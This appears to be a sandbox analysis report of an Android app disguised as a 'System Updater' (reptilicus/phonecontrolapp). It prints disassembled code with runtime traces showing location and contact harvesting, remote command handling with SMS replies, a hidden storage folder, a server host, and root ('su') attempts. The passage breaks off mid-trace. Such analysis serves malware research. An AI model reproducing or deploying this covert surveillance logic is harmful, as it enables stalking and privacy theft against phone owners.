                    25invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->f()I
                    26move-result v3
                    28invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    30const-string v2, "lac"
                    32invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->c()I
                    33move-result v3
                    35invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    37const-string v2, "cid"
                    39invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->d()I
                    40move-result v0
                    42invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    43goto_39: return-object v1
                    44cond_3a: const/4 v0, 0x0
                    46const-string v2, "network"
                    48invoke-virtual {p1}, Landroid/location/Location;->getProvider()Ljava/lang/String;
                    49move-result-object v3
                    51invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    52move-result v2
                    53if-eqz v2, :cond_74
                    54const/4 v0, 0x2
                    55cond_48:
                    56const-string v2, "type"
                    58invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    60const-string v0, "accuracy"
                    62invoke-virtual {p1}, Landroid/location/Location;->getAccuracy()F
                    63move-result v2
                    64float-to-int v2, v2
                    66invoke-virtual {v1, v0, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    68const-string v0, "lat"
                    70invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
                    • Time: 1410593
                      • This:
                        • Location[gps 54.130000,12.140000 acc=1 t=?!? et=+23m30s381ms alt=0.0 bear=0.0]
                      • Return:
                        • 54.13
                    71move-result-wide v2
                    73invoke-virtual {v1, v0, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;D)V
                    75const-string v0, "lng"
                    77invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
                    • Time: 1410655
                      • This:
                        • Location[gps 54.130000,12.140000 acc=1 t=?!? et=+23m30s381ms alt=0.0 bear=0.0]
                      • Return:
                        • 12.14
                    78move-result-wide v2
                    80invoke-virtual {v1, v0, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;D)V
                    82const-string v0, "speed"
                    84invoke-virtual {p1}, Landroid/location/Location;->getSpeed()F
                    85move-result v2
                    86float-to-int v2, v2
                    88invoke-virtual {v1, v0, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    89goto/16 :goto_39
                    90cond_74:
                    91const-string v2, "gps"
                    93invoke-virtual {p1}, Landroid/location/Location;->getProvider()Ljava/lang/String;
                    94move-result-object v3
                    96invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    97move-result v2
                    98if-eqz v2, :cond_48
                    99const/4 v0, 0x1
                    100goto/16 :goto_48
                    Cross References
                    APIs
                    • net.vkurhandler.MainActivity.a:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.d:Lnet/vkurhandler/Mobile
                    • android.app.AlertDialog$Builder.<init>
                    • android.app.AlertDialog$Builder.create
                    • net.vkurhandler.MainActivity.getString
                    • android.app.AlertDialog.setTitle
                    • net.vkurhandler.MainActivity.getString
                    • android.app.AlertDialog.setMessage
                    • net.vkurhandler.MainActivity.getString
                    • android.app.AlertDialog.setButton
                    • android.app.AlertDialog.show
                    • net.vkurhandler.MainActivity.d:Lnet/vkurhandler/Mobile
                    • net.vkurhandler.MainActivity.a
                    Strings
                    • success_gcm_key
                    • Error
                    • Phone is not supported by the application, check whether the SIM card is installed, restart your phone and try again.
                    • Close
                    • MainActivity
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/MainActivity;->a:Landroid/content/SharedPreferences;
                    3const-string v1, "success_gcm_key"
                    4const/4 v2, 0x0
                    6invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    7move-result v0
                    8if-nez v0, :cond_12
                    10invoke-virtual {p0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    • Time: 1276273
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    11move-result-object v0
                    13invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    14cond_12:
                    15iget-object v0, p0, Lnet/vkurhandler/MainActivity;->d:Lnet/vkurhandler/Mobile;
                    17invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    18move-result-object v0
                    20invoke-static {v0}, Lnet/vkurhandler/gn;->f(Ljava/lang/String;)Z
                    21move-result v0
                    22if-nez v0, :cond_4f
                    23new-instance v0, Landroid/app/AlertDialog$Builder;
                    25invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    • Time: 1276453
                      • This:
                        • android.app.AlertDialog$Builder@2e184a8
                      • p0: net.vkurhandler.MainActivity@acdc8ef
                      • Return:
                        • android.app.AlertDialog$Builder@2e184a8
                    27invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    28move-result-object v0
                    29const v1, 0x7f0600bd
                    31invoke-virtual {p0, v1}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    • Time: 1276466
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • resId: 2131099837
                      • Return:
                        • Error
                    32move-result-object v1
                    34invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setTitle(Ljava/lang/CharSequence;)V
                    35const v1, 0x7f0600e1
                    37invoke-virtual {p0, v1}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    • Time: 1276470
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • resId: 2131099873
                      • Return:
                        • Phone is not supported by the application, check whether the SIM card is installed, restart your phone and try again.
                    38move-result-object v1
                    40invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
                    41const/4 v1, -0x3
                    42const v2, 0x7f0600b2
                    44invoke-virtual {p0, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    • Time: 1276474
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • resId: 2131099826
                      • Return:
                        • Close
                    45move-result-object v2
                    46new-instance v3, Lnet/vkurhandler/br;
                    48invoke-direct {v3, p0}, Lnet/vkurhandler/br;-><init>(Lnet/vkurhandler/MainActivity;)V
                    50invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    52invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    • Time: 1276560
                      • This:
                        • android.app.AlertDialog@6be59ee
                    53goto_4e: return-void
                    54try_start_4f:
                    55iget-object v0, p0, Lnet/vkurhandler/MainActivity;->d:Lnet/vkurhandler/Mobile;
                    57invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    58move-result-object v0
                    60invoke-direct {p0, v0}, Lnet/vkurhandler/MainActivity;->a(Ljava/lang/String;)V
                    61try_end_58: goto/16 :goto_4e
                    62catch_59: move-exception v0
                    64const-string v1, "MainActivity"
                    66invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    67goto/16 :goto_4e
                    Cross References
                    APIs
                    • android.content.Context.getContentResolver
                    • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                    • android.content.ContentResolver.query
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.moveToFirst
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getInt
                    • android.database.Cursor.close
                    • android.database.Cursor.close
                    • android.database.Cursor.close
                    Strings
                    • display_name
                    • data1
                    • _id
                    • _id DESC LIMIT 1
                    • PhonebookContentObserver
                    Position Instruction Meta Information
                    0const/4 v6, 0x0
                    1const/4 v0, 0x3
                    2try_start_2: new-array v2, v0, [Ljava/lang/String;
                    3const/4 v0, 0x0
                    5const-string v1, "display_name"
                    6aput-object v1, v2, v0
                    7const/4 v0, 0x1
                    9const-string v1, "data1"
                    10aput-object v1, v2, v0
                    11const/4 v0, 0x2
                    13const-string v1, "_id"
                    14aput-object v1, v2, v0
                    16invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    17move-result-object v0
                    19sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                    20const/4 v3, 0x0
                    21const/4 v4, 0x0
                    23const-string v5, "_id DESC LIMIT 1"
                    25invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    • Time: 1274062
                      • This:
                        • android.app.ContextImpl$ApplicationContentResolver@ba60466
                      • p0: content://com.android.contacts/data/phones
                      • p1: [Ljava.lang.String;@d1c1998
                      • p1.Arrays.toString: [display_name, data1, _id]
                      • p2: null
                      • p3: null
                      • p4: _id DESC LIMIT 1
                      • Return:
                        • android.content.ContentResolver$CursorWrapperInner@df805d6
                    26try_end_20: move-result-object v1
                    27try_start_21:
                    28const-string v0, "display_name"
                    30invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    31move-result v0
                    33const-string v2, "data1"
                    35invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    36move-result v3
                    38const-string v2, "_id"
                    40invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    41move-result v4
                    43invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
                    44move-result v2
                    45if-eqz v2, :cond_89
                    46new-instance v2, Lnet/vkurhandler/am;
                    47const/4 v5, 0x0
                    49invoke-direct {v2, v5}, Lnet/vkurhandler/am;-><init>(Lnet/vkurhandler/am;)V
                    50try_start_3f:
                    51invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    52move-result-object v0
                    54invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    55move-result-object v3
                    57invoke-interface {v1, v4}, Landroid/database/Cursor;->getInt(I)I
                    58move-result v4
                    59iput-object v0, v2, Lnet/vkurhandler/am;->a:Ljava/lang/String;
                    61invoke-static {v3}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    62move-result-object v0
                    63iput-object v0, v2, Lnet/vkurhandler/am;->b:Ljava/lang/String;
                    64iput v4, v2, Lnet/vkurhandler/am;->c:I
                    65try_end_55: move-object v0, v2
                    66goto_56: if-eqz v1, :cond_5b
                    67try_start_58:
                    68invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    69cond_5b: return-object v0
                    70catch_5c: move-exception v0
                    71move-object v1, v0
                    72move-object v2, v6
                    73move-object v0, v6
                    74goto_60:
                    75const-string v3, "PhonebookContentObserver"
                    77invoke-static {v3, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    78try_end_65: if-eqz v2, :cond_5b
                    79try_start_67:
                    80invoke-interface {v2}, Landroid/database/Cursor;->close()V
                    81try_end_6a: goto/16 :goto_5b
                    82catch_6b: move-exception v1
                    83goto/16 :goto_5b
                    84catchall_6d: move-exception v0
                    85move-object v1, v6
                    86goto_6f: if-eqz v1, :cond_74
                    87try_start_71:
                    88invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    89cond_74: throw v0
                    90catch_75: move-exception v1
                    91goto/16 :goto_74
                    92catch_77: move-exception v1
                    93goto/16 :goto_5b
                    94catchall_79: move-exception v0
                    95goto/16 :goto_6f
                    96catchall_7b: move-exception v0
                    97move-object v1, v2
                    98goto/16 :goto_6f
                    99catch_7e: move-exception v0
                    100move-object v2, v1
                    101move-object v1, v0
                    102move-object v0, v6
                    103goto/16 :goto_60
                    104catch_83: move-exception v0
                    105move-object v7, v0
                    106move-object v0, v2
                    107move-object v2, v1
                    108move-object v1, v7
                    109goto/16 :goto_60
                    110cond_89: move-object v0, v6
                    111goto/16 :goto_56
                    Cross References
                    APIs
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getInt
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getBoolean
                    • java.lang.String.length
                    • org.json.JSONObject.getString
                    • net.vkurhandler.DispatchService.e
                    Strings
                    • response_transport
                    • sms_reply
                    • response
                    • response_base64_zipped
                    • command not supported via sms
                    • response_number
                    Position Instruction Meta Information
                    0const/4 v1, 0x1
                    2const-string v0, "response_transport"
                    4invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1277759
                      • This:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                      • p0: response_transport
                      • Return:
                        • false
                    5move-result v0
                    6if-eqz v0, :cond_49
                    8const-string v0, "response_transport"
                    10invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    11move-result v0
                    12goto_f: const/4 v2, 0x2
                    13if-ne v0, v2, :cond_4b
                    15invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    16move-result-object v0
                    18invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    19move-result-object v0
                    21invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    22move-result-object v0
                    24const-string v2, "sms_reply"
                    26invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    27move-result v0
                    28if-eqz v0, :cond_47
                    30const-string v0, "response"
                    32invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    33move-result-object v0
                    35const-string v2, "response_base64_zipped"
                    37invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    38move-result v2
                    39if-nez v2, :cond_3c
                    41invoke-virtual {v0}, Ljava/lang/String;->length()I
                    42move-result v2
                    43const/16 v3, 0x64
                    44if-le v2, v3, :cond_3e
                    45cond_3c:
                    46const-string v0, "command not supported via sms"
                    47cond_3e:
                    48const-string v2, "response_number"
                    50invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    51move-result-object v2
                    53invoke-static {v2, v0}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    54cond_47: move v0, v1
                    55goto_48: return v0
                    56cond_49: move v0, v1
                    57goto/16 :goto_f
                    58cond_4b:
                    59invoke-direct {p0, p1}, Lnet/vkurhandler/DispatchService;->e(Lorg/json/JSONObject;)Z
                    60move-result v0
                    61goto/16 :goto_48
                    Cross References
                    APIs
                    • java.lang.Boolean.booleanValue
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.io.File.mkdirs
                    Strings
                    • .system_android/.data/.system_temp
                    • contact@phonecontrolapp.com
                    • https://phonecontrolapp.com/sonfidentiality/
                    • https://reptilicus.net/konfidencialnost
                    • reptilicus
                    Position Instruction Meta Information
                    0const/4 v1, 0x1
                    2const-string v0, ".system_android/.data/.system_temp"
                    4sget-object v2, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    • Time: 1272237
                      • This:
                        • contact@phonecontrolapp.com
                      • p0: [B@6a2e7bb
                      • p0: contact@phonecontrolapp.com
                      • p0: 636F6E746163744070686F6E65636F6E74726F6C6170702E636F6D
                      • Return:
                        • contact@phonecontrolapp.com
                    • Time: 1272241
                      • This:
                        • https://reptilicus.net/konfidencialnost
                      • p0: [B@669a031
                      • p0: https://reptilicus.net/konfidencialnost
                      • p0: 68747470733A2F2F72657074696C696375732E6E65742F6B6F6E666964656E6369616C6E6F7374
                      • Return:
                        • https://reptilicus.net/konfidencialnost
                    • Time: 1272342
                      • This:
                        • https://phonecontrolapp.com/sonfidentiality/
                      • p0: [B@8e4497
                      • p0: https://phonecontrolapp.com/sonfidentiality/
                      • p0: 68747470733A2F2F70686F6E65636F6E74726F6C6170702E636F6D2F736F6E666964656E7469616C6974792F
                      • Return:
                        • https://phonecontrolapp.com/sonfidentiality/
                    6invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                    7move-result v2
                    8if-eqz v2, :cond_d
                    10const-string v0, "reptilicus"
                    11cond_d: new-instance v2, Ljava/io/File;
                    12new-instance v3, Ljava/lang/StringBuilder;
                    14invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    16invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    17move-result-object v4
                    19invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    20move-result-object v3
                    22sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    24invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    25move-result-object v3
                    27invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    28move-result-object v0
                    30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    31move-result-object v0
                    33invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    35invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    • Time: 1272381
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                      • Return:
                        • false
                    • Time: 1272549
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                      • Return:
                        • true
                    36move-result v0
                    37if-eqz v0, :cond_35
                    38move v0, v1
                    39goto_34: return v0
                    40cond_35:
                    41invoke-virtual {v2}, Ljava/io/File;->mkdirs()Z
                    42move-result v0
                    43if-eqz v0, :cond_3d
                    44move v0, v1
                    45goto/16 :goto_34
                    46cond_3d: const/4 v0, 0x0
                    47goto/16 :goto_34
                    Cross References
                    APIs
                    • java.lang.Boolean.booleanValue
                    • android.content.Context.getApplicationContext
                    • net.vkurhandler.MyApp.u
                    • android.content.SharedPreferences.getString
                    • java.lang.String.startsWith
                    • java.lang.Boolean.booleanValue
                    • java.lang.Boolean.booleanValue
                    • java.lang.String.startsWith
                    Strings
                    • last_work_host
                    • reptilicus.net
                    • dev
                    • Proxier
                    • getServerHost value:
                    Position Instruction Meta Information
                    0const/4 v4, 0x0
                    2sget-object v0, Lnet/vkurhandler/dc;->a:[Ljava/lang/String;
                    3aget-object v0, v0, v4
                    5sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    7invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    8move-result v1
                    9if-eqz v1, :cond_60
                    11sget-object v0, Lnet/vkurhandler/dc;->b:[Ljava/lang/String;
                    12aget-object v0, v0, v4
                    13move-object v1, v0
                    14goto_12:
                    15invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                    16move-result-object v0
                    17check-cast v0, Lnet/vkurhandler/MyApp;
                    19invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->u()Landroid/content/SharedPreferences;
                    20move-result-object v0
                    22const-string v2, "last_work_host"
                    24invoke-interface {v0, v2, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1274681
                      • This:
                        • android.app.SharedPreferencesImpl@196cf7d
                      • p0: last_work_host
                      • p1: reptilicus.net
                      • Return:
                        • reptilicus.net
                    25move-result-object v0
                    27const-string v1, "dev"
                    29invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                    30move-result v1
                    31if-nez v1, :cond_36
                    33sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    35invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    36move-result v1
                    37if-eqz v1, :cond_36
                    39sget-object v0, Lnet/vkurhandler/dc;->b:[Ljava/lang/String;
                    40aget-object v0, v0, v4
                    41cond_36:
                    42sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    44invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    45move-result v1
                    46if-nez v1, :cond_4a
                    48const-string v1, "dev"
                    50invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                    51move-result v1
                    52if-eqz v1, :cond_4a
                    54sget-object v0, Lnet/vkurhandler/dc;->a:[Ljava/lang/String;
                    55aget-object v0, v0, v4
                    56cond_4a:
                    57invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274693
                      • Return:
                        • true
                    58move-result v1
                    59if-eqz v1, :cond_5f
                    61const-string v1, "Proxier"
                    62const/4 v2, 0x2
                    63new-array v2, v2, [Ljava/lang/String;
                    65const-string v3, "getServerHost value:"
                    66aput-object v3, v2, v4
                    67const/4 v3, 0x1
                    68aput-object v0, v2, v3
                    70invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    71cond_5f: return-object v0
                    72cond_60: move-object v1, v0
                    73goto/16 :goto_12
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • chmod
                    • -R
                    • \n
                    • su
                    Position Instruction Meta Information
                    0new-instance v0, Ljava/lang/StringBuilder;
                    2const-string v1, "chmod "
                    4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    5if-eqz p2, :cond_e
                    7const-string v1, "-R "
                    9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    10cond_e:
                    11invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    12move-result-object v1
                    14const-string v2, " "
                    16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    17move-result-object v1
                    19invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    20move-result-object v1
                    22const-string v2, "\n"
                    24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    25const/4 v1, 0x1
                    26new-array v1, v1, [Ljava/lang/String;
                    27const/4 v2, 0x0
                    29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    30move-result-object v0
                    31aput-object v0, v1, v2
                    33invoke-static {v1}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    • Time: 1274307
                      • This:
                        • java.lang.Runtime@84083b0
                      • p0: su
                      • Return:
                        • java.io.IOException: Cannot run program "su": error=13, Permission denied
                    34return-void
                    Cross References
                    APIs
                    • org.json.JSONArray.<init>
                    • java.util.List.iterator
                    • java.util.Iterator.hasNext
                    • org.json.JSONArray.toString
                    • java.util.Iterator.next
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    Strings
                    • [{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cyanogenmod.eleven"},{"app_name":"Calculator","pkg_name":"com.android.calculator2"},{"app_name":"Email","pkg_name":"com.android.email"},{"app_name":"Clock","pkg_name":"com.android.deskclock"},{"app_name":"Dev Tools","pkg_name":"com.android.development"}]
                    • eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp
                    • app_name
                    • pkg_name
                    Position Instruction Meta Information
                    0new-instance v1, Lorg/json/JSONArray;
                    2invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                    4invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                    5move-result-object v2
                    6goto_9:
                    7invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                    8move-result v0
                    9if-nez v0, :cond_18
                    11invoke-virtual {v1}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    • Time: 1276256
                      • This:
                        • [{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cy
                      • Return:
